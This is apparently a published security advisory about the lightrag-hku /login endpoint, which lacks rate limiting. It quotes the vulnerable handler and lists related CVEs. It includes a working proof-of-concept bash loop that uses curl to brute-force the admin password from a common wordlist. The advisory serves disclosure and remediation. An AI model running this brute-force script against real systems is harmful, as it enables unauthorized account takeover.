Summary
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Advisory details
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
References
- https://github.com/advisories/GHSA-frch-4w6v-q5xx
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx
- https://nvd.nist.gov/vuln/detail/CVE-2026-85734
- https://github.com/HKUDS/LightRAG/pull/3424
- https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-91973
Vikunja: CalDAV and feeds BasicAuth endpoints have no rate limit, bypassing the anti-brute-force floor on account passwords
- HIGHCVE-2026-91972
Vikunja: Every /api/v2 pre-auth endpoint is unthrottled on a stock install while its /api/v1 twin is rate limited
- MEDIUMCVE-2026-105866
Payload: Unauthenticated account-lockout denial of service
- MEDIUMCVE-2026-77561
Tinyauth: Unauthenticated login attempts can trigger global login lockdown denial of service
- MEDIUMCVE-2026-56682
9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
- MEDIUMCVE-2026-58271
@sync-in/server vulnerable to TOTP Brute-Force via `POST /api/app/sync/register`